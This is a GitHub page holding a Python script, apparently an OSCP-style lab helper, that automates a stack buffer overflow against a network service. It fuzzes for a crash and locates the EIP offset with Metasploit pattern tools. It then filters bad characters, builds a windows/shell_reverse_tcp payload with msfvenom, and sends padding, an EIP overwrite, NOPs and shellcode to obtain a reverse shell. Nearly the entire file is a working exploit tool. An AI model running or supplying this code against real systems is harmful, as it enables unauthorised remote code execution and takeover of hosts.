-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathbuffer-overflow.py
309 lines (239 loc) · 10.2 KB
/
buffer-overflow.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
import binascii
import os
import socket
import struct
import time
from typing import Union
def execute(command: str) -> None:
"""function to execute command and print out the command"""
print(f"[+] Executing: {command}")
os.system(command)
def send_data(data: Union[bytes, str], timeout: int = 5) -> None:
"""function to send bytes to the target"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((ip, port))
if not noreceive:
print("[+] Received: ", s.recv(1024).decode())
if type(data) == str:
data = data.encode()
s.send(data)
print("[+] Sent: {}".format(data))
print("[+] Received: ", s.recv(1024).decode())
s.close()
def fuzz(start: int = 100, end: int = 10000) -> int:
"""fuzz the application with increasing size of buffer"""
try:
while start <= end:
fuzz_str = "A" * start
print("[+] Fuzzing with %s bytes" % len(fuzz_str))
send_data(prefix + fuzz_str.encode() + suffix)
time.sleep(1)
start += step
except ConnectionRefusedError:
print("[-] Connection refused")
except socket.timeout:
offset = start
print(f"[!] Crashed at: {offset}")
return offset
def send_cyclic(offset: int) -> int:
"""Cyclic pattern to send to the app, and check for the exact pattern"""
print("\n[+] Creating cyclic pattern with offset")
command = f"{msf}/tools/exploit/pattern_create.rb -l {offset} > pattern.buf"
execute(command)
buffer = open("pattern.buf", "r").read()
print("[!] Restart the app")
input("[~] Press enter to send cyclic pattern")
try:
if suffix != b"\n":
send_data(prefix + buffer.encode() + suffix)
else:
send_data(prefix + buffer.encode())
except socket.timeout:
print("[~] Crashed the app, check the EIP")
eip = input("[?] Enter EIP value: ")
command = f"{msf}/tools/exploit/pattern_offset.rb -q {eip.strip()}" + " | awk '{print $6}' > /tmp/offset"
execute(command)
with open("/tmp/offset", "r") as fp:
content = fp.read()
if content == "":
print("[-] Unable to get a match")
exit()
else:
offset = content.strip("\n")
print(f"[+] Offset found at address {offset}")
return int(offset)
def generate_chars(badchars: [str]) -> bytes:
"""
generate all chars after filtering out badchars
:param badchars: ["\\x0a", "\\x0d"]
:return: "0102.."
"""
char_str = ""
for x in range(1, 256):
current_char = "\\x" + '{:02x}'.format(x)
if current_char not in badchars:
char_str += current_char[2:]
# remove the leading "\x"
return binascii.unhexlify(char_str)
def badchars_esp(offset: int) -> str:
print("\n[!] Restart the app")
input("[+] Press enter to send bad chars")
print("[!] Pro tip: !mona bytearray -f \"\\x00\"")
# default badchar as \x00
current_badchars = ["\\x00"]
while True:
# convert the hexstring into binary
allchars = generate_chars(current_badchars)
padding = "A" * offset
eip = "B" * 4
esp = "C" * 8
buffer = padding.encode() + eip.encode() + allchars
try:
print("[?] Sending buffer")
send_data(prefix + buffer + suffix)
except socket.timeout:
print("\n[+] allchars sent")
print("[+] Current_badchars: ", current_badchars)
print("[!] Pro tip: !mona compare -f c:\\path\\bytearray.bin -a esp")
print("[!] Restart the app")
command = input("[+] Enter badchar (\\x00 \\x01 ..) to filter out (type 'exit' to skip): ").strip()
if command == "exit":
break
elif " " in command:
current_badchars.extend(command.split(" "))
elif command != "":
current_badchars.append(command)
print("[+] Badchars detected: ", "".join(current_badchars))
return "".join(current_badchars)
def badchars_not_esp(offset: int) -> str:
current_badchars = ["\\x00"]
while True:
# convert the hexstring into binary
allchars = generate_chars(current_badchars)
number = input("[+] Enter amount to send (enter to sendall, exit to end): ").strip()
if number == "exit":
break
elif number == "":
number = len(allchars)
bindex = int(number)
if bindex > len(allchars):
bindex = len(allchars)
# steps, send all 255, does it crash?
padding = "A" * offset
eip = "B" * 4
esp = "C" * 8
# buffer not in ESP
buffer = allchars[:bindex] + padding[len(allchars[:bindex]):].encode() + eip.encode() + esp.encode()
try:
send_data(prefix + buffer + suffix)
except socket.timeout:
print("\n[+] Allchars sent")
print("[+] Current_badchars: ", current_badchars)
command = input("[+] Enter badchar to filter out (enter to skip): ").strip()
if command == "exit":
break
elif " " in command:
current_badchars.extend(command.split(" "))
elif command != "":
current_badchars.append(command)
print("[+] Badchars detected: ", "".join(current_badchars))
return "".join(current_badchars)
def shell_gen(badchars: str) -> None:
"""Generates the shellcode using the vpn tunnel ip address"""
execute(f"ip addr show {interface} | grep 'inet ' | " + "awk '{print $2}' | cut -d'/' -f1 > /tmp/ip")
ip = open("/tmp/ip", "r").read().strip()
print(f"[+] IP Detected: {ip}")
command = f"msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={rport} EXITFUNC=thread -b \"{badchars}\" -f raw > /tmp/shellcode 2>/dev/null"
execute(command)
print("[+] Generated shellcode at /tmp/shellcode")
def exploit(offset: int, badchars: str) -> None:
global eip_str
print(f"[!] Pro tip: !mona jmp -r esp -cpb \"{badchars}\"")
print("[!] Restart the app")
eip_str = input("[+] Enter EIP address to overwrite (without 0x): ").strip()
padding = "A" * offset
eip = struct.pack("<I", int(eip_str, 16))
nops = binascii.unhexlify("90" * 32)
shellcode = open("/tmp/shellcode", "rb").read()
print(f"[+] Loaded shellcode of size: {len(shellcode)} bytes")
# only if first stage payload required
# from pwn import asm
# register = input("Enter payload register (esp): ").strip()
# assembly = asm(f"jmp {register}; add eax, 4")
# padding_offset = len(padding) - len(nops) + len(shellcode)
# buffer = nops + shellcode + padding[padding_offset:].encode() + eip + esp.encode()
try:
buffer = padding.encode() + eip + nops + shellcode
print("[=] Buffer to be sent: ", buffer)
print("[+] Exploiting.. ")
send_data(prefix + buffer + suffix)
except socket.timeout:
print("[+] Payload sent but timed out")
print("[+] Exploitation completed")
def check_esp(offset: int) -> None:
"""function check if esp has enough room for shellcode"""
padding = "A" * offset
eip = "B" * 4
esp = "C" * 500
print("[!] Restart the app")
input("[=] Press enter to send huge buffer (500 bytes of C) to check for space on ESP")
buffer = padding.encode() + eip.encode() + esp.encode()
try:
print("[?] Sending buffer")
send_data(prefix + buffer + suffix)
except socket.timeout:
print("[+] Buffer sent, check for the ESP register content")
def main() -> None:
"""main function to start the exploit"""
global offset
# if offset is not given from args, then fuzz
if offset == 0:
offset = fuzz()
offset = send_cyclic(offset)
check_esp(offset)
question = input("[?] Is the payload small enough to be sent in ESP (y/n): ").strip()
payload_in_esp = question.lower() == "y"
if payload_in_esp:
badchars = badchars_esp(offset)
else:
badchars = badchars_not_esp(offset)
shell_gen(badchars)
exploit(offset, badchars)
print("\n[+] Exploit Info")
print(f"[+] Address: {ip}:{port}")
print(f"[+] EIP offset: {offset} bytes")
print(f"[+] EIP value: 0x{eip_str}")
print(f"[+] Bad chars: {badchars}")
print(f"[+] Shell code: msfvenom -p windows/shell_reverse_tcp LHOST={ip} LPORT={rport} EXITFUNC=thread -b \"{badchars}\" -f python -v shellcode")
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description = "Buffer overflow exploit testing tool")
parser.add_argument("--offset", help= "eip offset if already known, this will skip offset finding", default = 0)
parser.add_argument("--prefix", help = "prefix of the string to send", default = "")
parser.add_argument("--suffix", help = "suffix of the string to send", default = "")
parser.add_argument("--ip", help = "target ip address", required = True)
parser.add_argument("--port", help = "target port to exploit", required = True)
parser.add_argument("--rport", help = "reverse shell port", default = 443)
parser.add_argument("--interface", help = "the interface to use", default = "tun0")
parser.add_argument("--msf", help = "metasploit framework directory to use", default = "/usr/share/metasploit-framework")
parser.add_argument("--noreceive", help = "use if the program doesn't send an initial response on connect", default = False, action="store_true")
parser.add_argument("--newline", help = "add newline character to the end of the sent data", default = False, action ="store_true")
parser.add_argument("--step", help = "step increment for fuzzing, default 100, try increasing if EIP is not overwritten", default = 100)
args = parser.parse_args()
global ip, port, timeout, prefix, suffix, rport, interface, msf, noreceive, newline, offset, step
ip: str = args.ip
port: int = int(args.port)
rport: int = int(args.rport)
timeout: int = 5
prefix: bytes = args.prefix.encode()
suffix: bytes = args.suffix.encode()
interface: str = args.interface
msf: str = args.msf
noreceive: bool = args.noreceive
newline: bool = args.newline
offset: int = int(args.offset)
step: int = int(args.step)
if newline:
suffix += b"\n"
main()